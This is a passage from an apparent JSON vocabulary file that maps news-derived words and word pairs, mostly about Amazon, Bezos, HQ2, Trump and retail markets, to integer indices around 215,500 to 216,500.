215536,\n  \"escalates war\": 215537,\n  \"wright\": 215538,\n  \"workplace wanted\": 215539,\n  \"company beats\": 215540,\n  \"silk\": 215541,\n  \"lost track\": 215542,\n  \"retailers say\": 215543,\n  \"conqueror leviathan\": 215544,\n  \"federal financing\": 215545,\n  \"amazon dear\": 215546,\n  \"fund communities\": 215547,\n  \"discipline\": 215548,\n  \"leading ngo\": 215549,\n  \"expenses surged\": 215550,\n  \"biggest blue\": 215551,\n  \"chester facility\": 215552,\n  \"plant reuters\": 215553,\n  \"retailer market\": 215554,\n  \"investigation ag\": 215555,\n  \"dispel long\": 215556,\n  \"fondle\": 215557,\n  \"201923\": 215558,\n  \"year consumers\": 215559,\n  \"aaron kesel\": 215560,\n  \"protesters gathered\": 215561,\n  \"richard branson\": 215562,\n  \"commit\": 215563,\n  \"iton aug\": 215564,\n  \"women chamber\": 215565,\n  \"drive action\": 215566,\n  \"overnight ap\": 215567,\n  \"snowtown murders\": 215568,\n  \"happening bezos\": 215569,\n  \"739\": 215570,\n  \"jsink1 bloomberg\": 215571,\n  \"loophole mother\": 215572,\n  \"million contrast\": 215573,\n  \"grocery orders\": 215574,\n  \"washed ashore\": 215575,\n  \"players inexplicably\": 215576,\n  \"street reporting\": 215577,\n  \"twitter jabs\": 215578,\n  \"hq2 sites\": 215579,\n  \"grandiosity\": 215580,\n  \"wire primaryfilelocation\": 215581,\n  \"fuel surge\": 215582,\n  \"dies life\": 215583,\n  \"demand new\": 215584,\n  \"obert myrtlebound18\": 215585,\n  \"mishap falls\": 215586,\n  \"car drive\": 215587,\n  \"getting cash\": 215588,\n  \"services led\": 215589,\n  \"better regulated\": 215590,\n  \"america pressing\": 215591,\n  \"closely aligned\": 215592,\n  \"megamillions\": 215593,\n  \"weed killer\": 215594,\n  \"eat real\": 215595,\n  \"baffled\": 215596,\n  \"yoru favorite\": 215597,\n  \"hq2 everybody\": 215598,\n  \"current reports\": 215599,\n  \"brennan accuses\": 215600,\n  \"tendencies department\": 215601,\n  \"argued raising\": 215602,\n  \"voice shopping\": 215603,\n  \"giving rise\": 215604,\n  \"sending shudder\": 215605,\n  \"unsustainable enterprise\": 215606,\n  \"government carry\": 215607,\n  \"facility lies\": 215608,\n  \"dramatically alter\": 215609,\n  \"presently highlighting\": 215610,\n  \"government trait\": 215611,\n  \"investor training\": 215612,\n  \"steve bellone\": 215613,\n  \"amazon generally\": 215614,\n  \"retail abg\": 215615,\n  \"pecker threatened\": 215616,\n  \"addalyn\": 215617,\n  \"ne queens\": 215618,\n  \"hollywood opponents\": 215619,\n  \"ferrera\": 215620,\n  \"worth topping\": 215621,\n  \"rewards bs_link\": 215622,\n  \"center alley\": 215623,\n  \"post trust\": 215624,\n  \"foto sourcefilene\": 215625,\n  \"memorizes\": 215626,\n  \"storage capacity\": 215627,\n  \"time share\": 215628,\n  \"tower congress\": 215629,\n  \"monopoly weird\": 215630,\n  \"sponsorship\": 215631,\n  \"kessler provides\": 215632,\n  \"story frame\": 215633,\n  \"companies compare\": 215634,\n  \"absolutely fascinating\": 215635,\n  \"just rich\": 215636,\n  \"added jones\": 215637,\n  \"whaling ships\": 215638,\n  \"students look\": 215639,\n  \"really competitive\": 215640,\n  \"cte\": 215641,\n  \"bezos met\": 215642,\n  \"amazon aims\": 215643,\n  \"soon make\": 215644,\n  \"fell yesterday\": 215645,\n  \"pledging billion\": 215646,\n  \"facebook tsla\": 215647,\n  \"stock edging\": 215648,\n  \"recruiting american\": 215649,\n  \"desperation alexandria\": 215650,\n  \"corby kummer\": 215651,\n  \"different approach\": 215652,\n  \"jenn\": 215653,\n  \"headlines carley\": 215654,\n  \"revelation amazon\": 215655,\n  \"red stamp\": 215656,\n  \"popsicle\": 215657,\n  \"frieda\": 215658,\n  \"president group\": 215659,\n  \"dorm rooms\": 215660,\n  \"saying sent\": 215661,\n  \"remains confidential\": 215662,\n  \"popular music\": 215663,\n  \"sosnoff\": 215664,\n  \"amazon provides\": 215665,\n  \"understatement\": 215666,\n  \"massive firm\": 215667,\n  \"compel various\": 215668,\n  \"larger businesses\": 215669,\n  \"wyunhjjujg\": 215670,\n  \"carell appeared\": 215671,\n  \"avid\": 215672,\n  \"pilfering intellectual\": 215673,\n  \"company profitable\": 215674,\n  \"seattle chosen\": 215675,\n  \"devised strategies\": 215676,\n  \"deadly viral\": 215677,\n  \"760\": 215678,\n  \"inside story\": 215679,\n  \"staunchest\": 215680,\n  \"media focused\": 215681,\n  \"technocrats totalitarianism\": 215682,\n  \"scrutiny\": 215683,\n  \"stop assisting\": 215684,\n  \"just tweeted\": 215685,\n  \"bewilliams\": 215686,\n  \"administration rep\": 215687,\n  \"inconsistent unlike\": 215688,\n  \"shift production\": 215689,\n  \"women western\": 215690,\n  \"iser\": 215691,\n  \"quarter ended\": 215692,\n  \"alongside additional\": 215693,\n  \"activist involvement\": 215694,\n  \"jsink1\": 215695,\n  \"future join\": 215696,\n  \"booboo nyc\": 215697,\n  \"low taxation\": 215698,\n  \"meeting periodically\": 215699,\n  \"government cl\\u00f3vis\": 215700,\n  \"targets\": 215701,\n  \"year review\": 215702,\n  \"vipers\": 215703,\n  \"user experience\": 215704,\n  \"economy ignore\": 215705,\n  \"284x160\": 215706,\n  \"especially technology\": 215707,\n  \"500 billion\": 215708,\n  \"amazon spent\": 215709,\n  \"semi traveling\": 215710,\n  \"term metal\": 215711,\n  \"heinz ferrari\": 215712,\n  \"industry dorsey\": 215713,\n  \"designated near\": 215714,\n  \"amendment protections\": 215715,\n  \"talks starbucks\": 215716,\n  \"recycling\": 215717,\n  \"polarising power\": 215718,\n  \"rentseeking html\": 215719,\n  \"outstretched\": 215720,\n  \"dashes\": 215721,\n  \"fought beauty\": 215722,\n  \"bureaucrats\": 215723,\n  \"lather\": 215724,\n  \"gilchrist\": 215725,\n  \"help mitigate\": 215726,\n  \"isn public\": 215727,\n  \"attackers consisted\": 215728,\n  \"pricing handgun\": 215729,\n  \"spec better\": 215730,\n  \"lower ending\": 215731,\n  \"stop investigating\": 215732,\n  \"155x90 uploaded_files\": 215733,\n  \"cohost\": 215734,\n  \"heidi ran\": 215735,\n  \"marty says\": 215736,\n  \"creating fake\": 215737,\n  \"shea president\": 215738,\n  \"tensions escalated\": 215739,\n  \"ceo devin\": 215740,\n  \"figure null\": 215741,\n  \"corporations contribute\": 215742,\n  \"youtube spotify\": 215743,\n  \"new comments\": 215744,\n  \"vn 030\": 215745,\n  \"people lot\": 215746,\n  \"massive theft\": 215747,\n  \"known reasons\": 215748,\n  \"categorically denied\": 215749,\n  \"accountant\": 215750,\n  \"2016 china\": 215751,\n  \"r40\": 215752,\n  \"inspired mccann\": 215753,\n  \"standing israeli\": 215754,\n  \"notes media\": 215755,\n  \"american sweat\": 215756,\n  \"existing home\": 215757,\n  \"representatives told\": 215758,\n  \"withdraw white\": 215759,\n  \"prime accounts\": 215760,\n  \"anchor pay\": 215761,\n  \"allow commercial\": 215762,\n  \"wasn life\": 215763,\n  \"giant heart\": 215764,\n  \"trillion according\": 215765,\n  \"low nfib\": 215766,\n  \"commerce platform\": 215767,\n  \"overall lower\": 215768,\n  \"largest franchise\": 215769,\n  \"activist john\": 215770,\n  \"book called\": 215771,\n  \"stt\": 215772,\n  \"quarter profit\": 215773,\n  \"hazards weather\": 215774,\n  \"creating wealth\": 215775,\n  \"called catch\": 215776,\n  \"fairly optimistic\": 215777,\n  \"democrats sought\": 215778,\n  \"murder victim\": 215779,\n  \"government funding\": 215780,\n  \"retrospective questions\": 215781,\n  \"1161 bought\": 215782,\n  \"kong banking\": 215783,\n  \"close rikers\": 215784,\n  \"rearing\": 215785,\n  \"released list\": 215786,\n  \"prime symbiotically\": 215787,\n  \"state millions\": 215788,\n  \"nashville valedictorian\": 215789,\n  \"multiple retail\": 215790,\n  \"minimum fuss\": 215791,\n  \"obama annual\": 215792,\n  \"hosts wide\": 215793,\n  \"say imagine\": 215794,\n  \"nike stock\": 215795,\n  \"essays illustrate\": 215796,\n  \"442\": 215797,\n  \"launch campaign\": 215798,\n  \"conflicts happening\": 215799,\n  \"feed right\": 215800,\n  \"allows veterans\": 215801,\n  \"giant helium\": 215802,\n  \"sentiment swinging\": 215803,\n  \"building amazon\": 215804,\n  \"korea developing\": 215805,\n  \"article killing\": 215806,\n  \"choked silicon\": 215807,\n  \"market doesn\": 215808,\n  \"good partners\": 215809,\n  \"nys department\": 215810,\n  \"videoid politics\": 215811,\n  \"left cooper\": 215812,\n  \"jdawsey1\": 215813,\n  \"poll congress\": 215814,\n  \"demanding higher\": 215815,\n  \"really proud\": 215816,\n  \"single servings\": 215817,\n  \"amazonis pulling\": 215818,\n  \"music apple\": 215819,\n  \"check bezos\": 215820,\n  \"device chief\": 215821,\n  \"blood boiling\": 215822,\n  \"chief climate\": 215823,\n  \"ryan publisher\": 215824,\n  \"964\": 215825,\n  \"football series\": 215826,\n  \"veterans park\": 215827,\n  \"entities pen\": 215828,\n  \"journalist involved\": 215829,\n  \"roughly decade\": 215830,\n  \"averages cut\": 215831,\n  \"council madrona\": 215832,\n  \"media sites\": 215833,\n  \"rapid change\": 215834,\n  \"trump evidently\": 215835,\n  \"fulfillment\": 215836,\n  \"weather amazon\": 215837,\n  \"contributor jul\": 215838,\n  \"added tell\": 215839,\n  \"group cocktail\": 215840,\n  \"michael cole\": 215841,\n  \"inflatable solar\": 215842,\n  \"service explained\": 215843,\n  \"2018 revenue\": 215844,\n  \"mega trend\": 215845,\n  \"playbook trump\": 215846,\n  \"science\": 215847,\n  \"azzopardi\": 215848,\n  \"government cloud\": 215849,\n  \"posted massive\": 215850,\n  \"sanchez roger\": 215851,\n  \"suspected effort\": 215852,\n  \"darrel cronk\": 215853,\n  \"sultry\": 215854,\n  \"photo mark\": 215855,\n  \"hrh\": 215856,\n  \"office near\": 215857,\n  \"camp wildfire\": 215858,\n  \"bloomberg nvidia\": 215859,\n  \"service common\": 215860,\n  \"analyst brit\": 215861,\n  \"delaying decisions\": 215862,\n  \"united technologies\": 215863,\n  \"trump whitaker\": 215864,\n  \"relationship parents\": 215865,\n  \"investment adviser\": 215866,\n  \"alienated\": 215867,\n  \"products slated\": 215868,\n  \"faring according\": 215869,\n  \"law assemblywoman\": 215870,\n  \"zach vest\": 215871,\n  \"nicolas winding\": 215872,\n  \"amazon feathers\": 215873,\n  \"stagnant state\": 215874,\n  \"president playing\": 215875,\n  \"housing prices\": 215876,\n  \"liedtke reported\": 215877,\n  \"backroom swamp\": 215878,\n  \"different tax\": 215879,\n  \"rakuten intelligence\": 215880,\n  \"bush talks\": 215881,\n  \"photos foxconn\": 215882,\n  \"high hurdles\": 215883,\n  \"warner merger\": 215884,\n  \"unleash\": 215885,\n  \"wealthy foreign\": 215886,\n  \"needs quorum\": 215887,\n  \"crazier\": 215888,\n  \"door\": 215889,\n  \"free ellis\": 215890,\n  \"title videocardcontents\": 215891,\n  \"minister state\": 215892,\n  \"warned observat\\u00f3rio\": 215893,\n  \"moral issue\": 215894,\n  \"constitution based\": 215895,\n  \"underestimated\": 215896,\n  \"judge eric\": 215897,\n  \"talk geekwire\": 215898,\n  \"approaches home\": 215899,\n  \"known tax\": 215900,\n  \"latest episode\": 215901,\n  \"manufacturing prowess\": 215902,\n  \"median annual\": 215903,\n  \"fear bask\": 215904,\n  \"states 4e\": 215905,\n  \"spicer describes\": 215906,\n  \"shopper visits\": 215907,\n  \"s\\u00e1nchez received\": 215908,\n  \"ultimately push\": 215909,\n  \"cases lawmakers\": 215910,\n  \"compromise government\": 215911,\n  \"create super\": 215912,\n  \"carte blanche\": 215913,\n  \"health according\": 215914,\n  \"democrats figures\": 215915,\n  \"ground trump\": 215916,\n  \"google googl\": 215917,\n  \"meet privately\": 215918,\n  \"messages allegedly\": 215919,\n  \"dividend growth\": 215920,\n  \"officials typically\": 215921,\n  \"economists predict\": 215922,\n  \"praises\": 215923,\n  \"simon lewis\": 215924,\n  \"change course\": 215925,\n  \"fbi russia\": 215926,\n  \"starvation\": 215927,\n  \"openings posted\": 215928,\n  \"outpacing\": 215929,\n  \"assumptions\": 215930,\n  \"sold total\": 215931,\n  \"sandler cap\": 215932,\n  \"airlifted\": 215933,\n  \"regarding workplace\": 215934,\n  \"cessation earlier\": 215935,\n  \"unemployment benefits\": 215936,\n  \"happy labor\": 215937,\n  \"unsettling\": 215938,\n  \"phoebe siegler\": 215939,\n  \"employ dedicated\": 215940,\n  \"martinez revealed\": 215941,\n  \"rights gutting\": 215942,\n  \"lirr\": 215943,\n  \"hatchet job\": 215944,\n  \"officer summit\": 215945,\n  \"information provided\": 215946,\n  \"says globally\": 215947,\n  \"alexa black\": 215948,\n  \"free hard\": 215949,\n  \"explore different\": 215950,\n  \"contains larger\": 215951,\n  \"circling\": 215952,\n  \"bolsonaro declared\": 215953,\n  \"dovish turn\": 215954,\n  \"title suggests\": 215955,\n  \"bezos attended\": 215956,\n  \"ailing\": 215957,\n  \"called postal\": 215958,\n  \"inspect delivery\": 215959,\n  \"613 000\": 215960,\n  \"government usps\": 215961,\n  \"message heart\": 215962,\n  \"summit\": 215963,\n  \"shooting near\": 215964,\n  \"secret payment\": 215965,\n  \"revised rate\": 215966,\n  \"combat climate\": 215967,\n  \"baron seeks\": 215968,\n  \"time lauded\": 215969,\n  \"osgood site\": 215970,\n  \"labor contract\": 215971,\n  \"relationship management\": 215972,\n  \"oddsshark\": 215973,\n  \"google alphabet\": 215974,\n  \"grocery ordering\": 215975,\n  \"fluoride psychiatric\": 215976,\n  \"delays state\": 215977,\n  \"trump tapes\": 215978,\n  \"hour investing\": 215979,\n  \"galleries replay\": 215980,\n  \"round wraps\": 215981,\n  \"mysteriously\": 215982,\n  \"nokia x5\": 215983,\n  \"talks appear\": 215984,\n  \"masters degree\": 215985,\n  \"amy adams\": 215986,\n  \"casing\": 215987,\n  \"disorder mccain\": 215988,\n  \"merchandised search\": 215989,\n  \"2000 including\": 215990,\n  \"infant products\": 215991,\n  \"growth long\": 215992,\n  \"2020 believe\": 215993,\n  \"denied sending\": 215994,\n  \"critics lois\": 215995,\n  \"fair salaries\": 215996,\n  \"holiday black\": 215997,\n  \"demonstrating today\": 215998,\n  \"platform etsy\": 215999,\n  \"breathing human\": 216000,\n  \"obsess\": 216001,\n  \"moore essay\": 216002,\n  \"withdraw tariffs\": 216003,\n  \"brazil new\": 216004,\n  \"person don\": 216005,\n  \"sinister\": 216006,\n  \"nation state\": 216007,\n  \"valicenti\": 216008,\n  \"skirted questions\": 216009,\n  \"result bloomberg\": 216010,\n  \"better neighbors\": 216011,\n  \"tweets making\": 216012,\n  \"sustained complaint\": 216013,\n  \"books people\": 216014,\n  \"kirsten dunst\": 216015,\n  \"sends dodd\": 216016,\n  \"progress translates\": 216017,\n  \"week passed\": 216018,\n  \"boys alice\": 216019,\n  \"epstein\": 216020,\n  \"jacobsen\": 216021,\n  \"veterans\": 216022,\n  \"uses faa\": 216023,\n  \"confirms amazon\": 216024,\n  \"42am twins\": 216025,\n  \"pence chief\": 216026,\n  \"probably figured\": 216027,\n  \"biggest deal\": 216028,\n  \"amazon invitation\": 216029,\n  \"guidance following\": 216030,\n  \"vitriolic\": 216031,\n  \"1062136011159994368\": 216032,\n  \"republican political\": 216033,\n  \"real disaster\": 216034,\n  \"marks great\": 216035,\n  \"crimes trump\": 216036,\n  \"china tech\": 216037,\n  \"cheaper power\": 216038,\n  \"barracoon published\": 216039,\n  \"senate debate\": 216040,\n  \"president family\": 216041,\n  \"throwaway comments\": 216042,\n  \"negative reports\": 216043,\n  \"investment advisers\": 216044,\n  \"806 later\": 216045,\n  \"glancy prongay\": 216046,\n  \"notechforice pic\": 216047,\n  \"personal investigators\": 216048,\n  \"christian values\": 216049,\n  \"naming rights\": 216050,\n  \"share easily\": 216051,\n  \"build brisk\": 216052,\n  \"wrote stone\": 216053,\n  \"giant picked\": 216054,\n  \"term implications\": 216055,\n  \"physical properties\": 216056,\n  \"invasion court\": 216057,\n  \"finance consumers\": 216058,\n  \"construct headquarters\": 216059,\n  \"royal pardon\": 216060,\n  \"victory lap\": 216061,\n  \"engage michael\": 216062,\n  \"ending letter\": 216063,\n  \"department spokeswoman\": 216064,\n  \"base populist\": 216065,\n  \"better products\": 216066,\n  \"plans grateful\": 216067,\n  \"added president\": 216068,\n  \"scrutinized bezos\": 216069,\n  \"tension hamas\": 216070,\n  \"victim authorizes\": 216071,\n  \"aggressive increase\": 216072,\n  \"florida posted\": 216073,\n  \"tabloid did\": 216074,\n  \"hawking usb\": 216075,\n  \"fsjnqbggvs\": 216076,\n  \"security trump\": 216077,\n  \"hasn announced\": 216078,\n  \"overhauling\": 216079,\n  \"care unfortunately\": 216080,\n  \"shooting hogg\": 216081,\n  \"noise capital\": 216082,\n  \"2011 protest\": 216083,\n  \"bush took\": 216084,\n  \"defined universal\": 216085,\n  \"code dealsub\": 216086,\n  \"inched higher\": 216087,\n  \"swayed\": 216088,\n  \"stronger dollar\": 216089,\n  \"debated asking\": 216090,\n  \"planned campus\": 216091,\n  \"mexico presidential\": 216092,\n  \"mailing expenses\": 216093,\n  \"currentvidobj currentvideocollection\": 216094,\n  \"2b\": 216095,\n  \"media rod\": 216096,\n  \"unloading\": 216097,\n  \"risky\": 216098,\n  \"cosmos\": 216099,\n  \"iaas\": 216100,\n  \"billionaire success\": 216101,\n  \"howell raines\": 216102,\n  \"healthcare ambitions\": 216103,\n  \"making ibm\": 216104,\n  \"senior market\": 216105,\n  \"scientists program\": 216106,\n  \"fairholme\": 216107,\n  \"people tobias\": 216108,\n  \"major milestone\": 216109,\n  \"magic erin\": 216110,\n  \"2010 obama\": 216111,\n  \"parents tried\": 216112,\n  \"politics forests\": 216113,\n  \"madea\": 216114,\n  \"vonn\": 216115,\n  \"shalala doris\": 216116,\n  \"offered simple\": 216117,\n  \"630 wmal\": 216118,\n  \"tariffs just\": 216119,\n  \"nondisclosure agreement\": 216120,\n  \"hike tariffs\": 216121,\n  \"taking jabs\": 216122,\n  \"started foreclosure\": 216123,\n  \"manufactured\": 216124,\n  \"2018 update\": 216125,\n  \"share new\": 216126,\n  \"good morning\": 216127,\n  \"key issue\": 216128,\n  \"floor plan\": 216129,\n  \"contributor lisa\": 216130,\n  \"homes ceo\": 216131,\n  \"competitive categories\": 216132,\n  \"filed\": 216133,\n  \"representing construction\": 216134,\n  \"soar premarket\": 216135,\n  \"keely\": 216136,\n  \"list figure\": 216137,\n  \"dirty trickster\": 216138,\n  \"valley mentality\": 216139,\n  \"couldn proceed\": 216140,\n  \"mark frei\": 216141,\n  \"crouch told\": 216142,\n  \"search result\": 216143,\n  \"robert mnuchin\": 216144,\n  \"case instead\": 216145,\n  \"new hard\": 216146,\n  \"fathered\": 216147,\n  \"pay forfederal\": 216148,\n  \"life india\": 216149,\n  \"trump rarely\": 216150,\n  \"seizure cbs\": 216151,\n  \"best picture\": 216152,\n  \"endorsement catch\": 216153,\n  \"kearns goodwin\": 216154,\n  \"edge tax\": 216155,\n  \"2019 time\": 216156,\n  \"amazing\": 216157,\n  \"mounce\": 216158,\n  \"dovetail\": 216159,\n  \"offers long\": 216160,\n  \"targeted trump\": 216161,\n  \"year valentine\": 216162,\n  \"players including\": 216163,\n  \"living paycheck\": 216164,\n  \"convicted crooked\": 216165,\n  \"survived scandalous\": 216166,\n  \"amira eltahir\": 216167,\n  \"presiding\": 216168,\n  \"center cbs\": 216169,\n  \"true condition\": 216170,\n  \"decided late\": 216171,\n  \"000 twitter\": 216172,\n  \"ignores\": 216173,\n  \"market overnight\": 216174,\n  \"stories critical\": 216175,\n  \"additional inmates\": 216176,\n  \"claims fell\": 216177,\n  \"hoped jeffries\": 216178,\n  \"fraud law\": 216179,\n  \"toddwine\": 216180,\n  \"article reported\": 216181,\n  \"gannon sent\": 216182,\n  \"delilah\": 216183,\n  \"bust\": 216184,\n  \"technology saying\": 216185,\n  \"daily star\": 216186,\n  \"worth cleaning\": 216187,\n  \"daniel radcliffe\": 216188,\n  \"comedy tells\": 216189,\n  \"misspellings\": 216190,\n  \"postmates walmart\": 216191,\n  \"foundation journalism\": 216192,\n  \"coverage visit\": 216193,\n  \"close amazon\": 216194,\n  \"added scrutiny\": 216195,\n  \"designates\": 216196,\n  \"betsy\": 216197,\n  \"lobbied unsuccessfully\": 216198,\n  \"siemens usa\": 216199,\n  \"watch cigar\": 216200,\n  \"bezos criticism\": 216201,\n  \"u003ca\": 216202,\n  \"interests demographics\": 216203,\n  \"technically facts\": 216204,\n  \"monitor mandate\": 216205,\n  \"240\": 216206,\n  \"journalist james\": 216207,\n  \"communications platform\": 216208,\n  \"unseated trump\": 216209,\n  \"message coronary\": 216210,\n  \"kohl features\": 216211,\n  \"satellites\": 216212,\n  \"nbc television\": 216213,\n  \"taxed second\": 216214,\n  \"clock hate\": 216215,\n  \"pce average\": 216216,\n  \"newest headquarters\": 216217,\n  \"wsj refinitiv\": 216218,\n  \"sounded equally\": 216219,\n  \"understood god\": 216220,\n  \"trial 2018\": 216221,\n  \"owner manual\": 216222,\n  \"expose fear\": 216223,\n  \"ship prescriptions\": 216224,\n  \"judges trump\": 216225,\n  \"prohibits census\": 216226,\n  \"oracle cloud\": 216227,\n  \"karine souza\": 216228,\n  \"socks louisiana\": 216229,\n  \"evidence air\": 216230,\n  \"keeping records\": 216231,\n  \"consumer business\": 216232,\n  \"office gawande\": 216233,\n  \"enquirer target\": 216234,\n  \"margetuximab dow\": 216235,\n  \"bbc masterpiece\": 216236,\n  \"8220 headquarterless\": 216237,\n  \"billion new\": 216238,\n  \"pennsylvania year\": 216239,\n  \"company whopping\": 216240,\n  \"people 303567\": 216241,\n  \"desperate need\": 216242,\n  \"year trade\": 216243,\n  \"jimmy\": 216244,\n  \"reauthorizing\": 216245,\n  \"long running\": 216246,\n  \"nationalistic campaign\": 216247,\n  \"various things\": 216248,\n  \"void\": 216249,\n  \"enquirer told\": 216250,\n  \"domestically focused\": 216251,\n  \"twitter taunts\": 216252,\n  \"organizers agitators\": 216253,\n  \"wild animals\": 216254,\n  \"leaders president\": 216255,\n  \"owed hell\": 216256,\n  \"issue potentially\": 216257,\n  \"increasingly wiring\": 216258,\n  \"market fedex\": 216259,\n  \"commentator writer\": 216260,\n  \"roughly trillion\": 216261,\n  \"mortar\": 216262,\n  \"remove trump\": 216263,\n  \"restore american\": 216264,\n  \"largest rainforest\": 216265,\n  \"declared gary\": 216266,\n  \"clogged\": 216267,\n  \"maryland state\": 216268,\n  \"inroads\": 216269,\n  \"antitrust proceedings\": 216270,\n  \"buy gold\": 216271,\n  \"hollywood california\": 216272,\n  \"wholly sworn\": 216273,\n  \"c0 l2\": 216274,\n  \"terrorist\": 216275,\n  \"marketplace grows\": 216276,\n  \"matches coming\": 216277,\n  \"phillip hammond\": 216278,\n  \"personal details\": 216279,\n  \"121 airline\": 216280,\n  \"sensitive year\": 216281,\n  \"mara\": 216282,\n  \"promises liuna\": 216283,\n  \"gmb spokesman\": 216284,\n  \"new taxes\": 216285,\n  \"chicago stand\": 216286,\n  \"130 new\": 216287,\n  \"pressure\": 216288,\n  \"dock\": 216289,\n  \"xetd5fpjfz brit\": 216290,\n  \"market chatter\": 216291,\n  \"prevent agents\": 216292,\n  \"banco scoop\": 216293,\n  \"biggest corporations\": 216294,\n  \"comfortably\": 216295,\n  \"controversial reassessment\": 216296,\n  \"led mob\": 216297,\n  \"jim ross\": 216298,\n  \"upstart\": 216299,\n  \"hurt apple\": 216300,\n  \"alan sold\": 216301,\n  \"pretty soon\": 216302,\n  \"larger portion\": 216303,\n  \"president erdogan\": 216304,\n  \"openmic\": 216305,\n  \"grocery chains\": 216306,\n  \"liquids\": 216307,\n  \"turnaround ambitions\": 216308,\n  \"exceeding\": 216309,\n  \"merchant doesn\": 216310,\n  \"package available\": 216311,\n  \"bar whatsapp\": 216312,\n  \"prada\": 216313,\n  \"prime services\": 216314,\n  \"met whew\": 216315,\n  \"force online\": 216316,\n  \"loved brand\": 216317,\n  \"enact crushing\": 216318,\n  \"xi meeting\": 216319,\n  \"york according\": 216320,\n  \"amap\\u00e1 state\": 216321,\n  \"treat inmates\": 216322,\n  \"drugs delivering\": 216323,\n  \"wing despite\": 216324,\n  \"loafers\": 216325,\n  \"needs hate\": 216326,\n  \"companys treatment\": 216327,\n  \"reflects 178\": 216328,\n  \"cooper says\": 216329,\n  \"break catch\": 216330,\n  \"thiel company\": 216331,\n  \"dlippman subscribe\": 216332,\n  \"teaser\": 216333,\n  \"properly buried\": 216334,\n  \"va health\": 216335,\n  \"defeating\": 216336,\n  \"abuse criminal\": 216337,\n  \"white male\": 216338,\n  \"book contained\": 216339,\n  \"firm warranted\": 216340,\n  \"r4ee a5q\": 216341,\n  \"cio\": 216342,\n  \"america air\": 216343,\n  \"development read\": 216344,\n  \"copr\": 216345,\n  \"old retail\": 216346,\n  \"saw recently\": 216347,\n  \"chicanery\": 216348,\n  \"trend amazon\": 216349,\n  \"product guru\": 216350,\n  \"previously available\": 216351,\n  \"transcribes interviews\": 216352,\n  \"sex dolls\": 216353,\n  \"mday63 bloomberg\": 216354,\n  \"deeply unpopular\": 216355,\n  \"stock going\": 216356,\n  \"topped billion\": 216357,\n  \"mcbride ceo\": 216358,\n  \"similar vein\": 216359,\n  \"local regional\": 216360,\n  \"breezed\": 216361,\n  \"macy bloomingdale\": 216362,\n  \"receive small\": 216363,\n  \"fda delayed\": 216364,\n  \"expanding retail\": 216365,\n  \"newfound access\": 216366,\n  \"citing people\": 216367,\n  \"comments received\": 216368,\n  \"adds 196000\": 216369,\n  \"great hall\": 216370,\n  \"torched\": 216371,\n  \"today weren\": 216372,\n  \"transcript according\": 216373,\n  \"travel jeff\": 216374,\n  \"variations caused\": 216375,\n  \"trade penalties\": 216376,\n  \"department agreed\": 216377,\n  \"nomiki\": 216378,\n  \"estimates ranged\": 216379,\n  \"companies microsoft\": 216380,\n  \"actions defendant\": 216381,\n  \"sponsored new\": 216382,\n  \"crum\": 216383,\n  \"brought did\": 216384,\n  \"kristin\": 216385,\n  \"5m faces\": 216386,\n  \"conference nov\": 216387,\n  \"consumer staples\": 216388,\n  \"james\": 216389,\n  \"theory send\": 216390,\n  \"crime council\": 216391,\n  \"bezos lightning\": 216392,\n  \"addressable\": 216393,\n  \"satellite constellation\": 216394,\n  \"congestion really\": 216395,\n  \"diplomatic outposts\": 216396,\n  \"site dismissing\": 216397,\n  \"developer summit\": 216398,\n  \"merging\": 216399,\n  \"competing shopping\": 216400,\n  \"largest consumer\": 216401,\n  \"asymmetric\": 216402,\n  \"cityoftoronto\": 216403,\n  \"dick cheney\": 216404,\n  \"meaningful participation\": 216405,\n  \"software update\": 216406,\n  \"younger\": 216407,\n  \"semini sent\": 216408,\n  \"economic investments\": 216409,\n  \"redding calif\": 216410,\n  \"rourke kicked\": 216411,\n  \"credible business\": 216412,\n  \"sacrifice\": 216413,\n  \"huawei overshadows\": 216414,\n  \"funny just\": 216415,\n  \"club firingillegal\": 216416,\n  \"having different\": 216417,\n  \"professor haunted\": 216418,\n  \"surely leave\": 216419,\n  \"different product\": 216420,\n  \"global tech\": 216421,\n  \"cnn features\": 216422,\n  \"zones program\": 216423,\n  \"christopher massie\": 216424,\n  \"purposefully decided\": 216425,\n  \"basically outposts\": 216426,\n  \"lift living\": 216427,\n  \"future hold\": 216428,\n  \"company signature\": 216429,\n  \"research suggests\": 216430,\n  \"mature individuals\": 216431,\n  \"denunciations\": 216432,\n  \"citizens reasons\": 216433,\n  \"dollars brennan\": 216434,\n  \"killing hedge\": 216435,\n  \"bezos added\": 216436,\n  \"diego\": 216437,\n  \"points money\": 216438,\n  \"michael flynn\": 216439,\n  \"swooned\": 216440,\n  \"year prime\": 216441,\n  \"tariff act\": 216442,\n  \"testimony cohen\": 216443,\n  \"multi outlet\": 216444,\n  \"choices given\": 216445,\n  \"gene munster\": 216446,\n  \"congressional committee\": 216447,\n  \"private photographs\": 216448,\n  \"prematurely\": 216449,\n  \"hollywood sized\": 216450,\n  \"strategic reasons\": 216451,\n  \"columnist michael\": 216452,\n  \"better president\": 216453,\n  \"trump bolsonaro\": 216454,\n  \"2018 google\": 216455,\n  \"underpowered\": 216456,\n  \"telecommunications\": 216457,\n  \"sima\": 216458,\n  \"waging class\": 216459,\n  \"unjust firing\": 216460,\n  \"target facebook\": 216461,\n  \"lm\": 216462,\n  \"sanchez post\": 216463,\n  \"silent treatment\": 216464,\n  \"allegedly violated\": 216465,\n  \"herrera\": 216466,\n  \"sun energy\": 216467,\n  \"priscilla presley\": 216468,\n  \"question going\": 216469,\n  \"missing mean\": 216470,\n  \"published studies\": 216471,\n  \"exceptional lengths\": 216472,\n  \"stock values\": 216473,\n  \"remain far\": 216474,\n  \"continue buying\": 216475,\n  \"newman rodd\": 216476,\n  \"opening logistics\": 216477,\n  \"attic helps\": 216478,\n  \"pyrrhic\": 216479,\n  \"years annual\": 216480,\n  \"media rt\": 216481,\n  \"spotted\": 216482,\n  \"remains fixated\": 216483,\n  \"numerous firsts\": 216484,\n  \"quotesoftheday tuesdaymotivation\": 216485,\n  \"canopy cover\": 216486,\n  \"bailout usps\": 216487,\n  \"uber faces\": 216488,\n  \"usps pre\": 216489,\n  \"black pepper\": 216490,\n  \"hit 2050\": 216491,\n  \"new era\": 216492,\n  \"silenced\": 216493,\n  \"central drama\": 216494,\n  \"skapos politico\": 216495,\n  \"map facebook\": 216496,\n  \"plane carrying\": 216497,\n  \"suggested empy\": 216498,\n  \"block hud\": 216499,\n  \"bolivia\": 216500,\n  \"night vision\": 216501,\n  \"citing amazon\": 216502,\n  \"adulatory\": 216503,\n  \"american principles\": 216504,\n  \"news netflix\": 216505,\n  \"just really\": 216506,\n  \"vudu\": 216507,\n  \"bawdy ode\": 